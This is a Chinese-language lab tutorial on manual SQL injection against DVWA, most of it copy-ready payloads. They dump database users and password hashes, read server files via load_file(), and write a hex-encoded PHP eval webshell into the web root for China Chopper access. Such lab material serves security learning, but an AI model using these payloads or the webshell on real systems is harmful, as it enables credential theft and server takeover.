mysql猜密码/secure_file_priv获取shell
一.本文介绍
1、本文介绍手工猜解账户密码;利用开启的secure_file_priv="",进行 load_file()、into outfile()。
二.获取账号密码
1、猜字段
2' order by 3 --1.在ID框中输入:2' order by 1 -- ;2' order by 2 -- 时可以正常,当2' order by 3 -- 时,报错,所以当前表的字段为2个字段。
2、猜显位
1.在ID框中输入:2' union select 1,2 -- 时显示正常,当2' union select 1,2,3 -- 或其他时,报错,所以显位为:2' union select 1,2 -- ,然后:2' union select user(),database() -- 显示了当前用户名和数据库。
3、查表、字段、内容
1.将dvwa转换为16进制为:0x64767761 。在ID框中输入:2' union select user(),group_concat(table_name) from information_schema.tables where table_schema=0x64767761 -- 查出guestbook,users两个表。
2. 将users转换为16进制为:0x7573657273 。 在ID框中输入:2' UNION SELECT 1,group_concat(column_name) from information_schema.columnswhere table_name=0x7573657273 -- 查出login,password,email,secret 等字段
3.在ID框中输入:2' UNION SELECT user,password from users -- 查出账号及MD5密码
三.获取shell
1.对服务器文件进行读写操作
1. into outfile需要有以下条件:(可以将select的结果写入到指定目录的txt中,但需要数据库开启secure_file_priv)
1、需要知道远程目录
2、需要远程目录有写权限
3、需要数据库开启secure_file_priv2. 数据库开启secure_file_priv
在mysql安装目录的my.ini文件中的[mysqld]添加secure_file_priv = ' ' ;然后重启,登录mysql的cmd输入:show variables like '%secure%' 如果存在,值为空,则可以对服务器进行读写操作。
3. load_file()加载服务器文件:
把服务器中c:\\2.txt转换为16进制:0x633A5C5C322E747874 (c:\\2.txt 为已有文件。猜的文件)
在ID框中输入:2' union select 1,load_file(0x633A5C5C322E747874) -- 便可以看到txt里面的内容。4. into outfile对服务器进行写一句话木马操作
ID框中:2' union select 0x3C3F70687020406576616C28245F504F53545B276363313233275D293B3F3E,2 into outfile 'C:/phpStudy/PHPTutorial/WWW/DVWA/665.php' --
URL中:union%20select%200x3C3F70687020406576616C28245F504F53545B276363313233275D293B3F3E,2 into outfile 'C:/phpStudy/PHPTutorial/WWW/DVWA/665.php'+--+
然后上菜刀
二阶SQL:注册的账号有单引号(')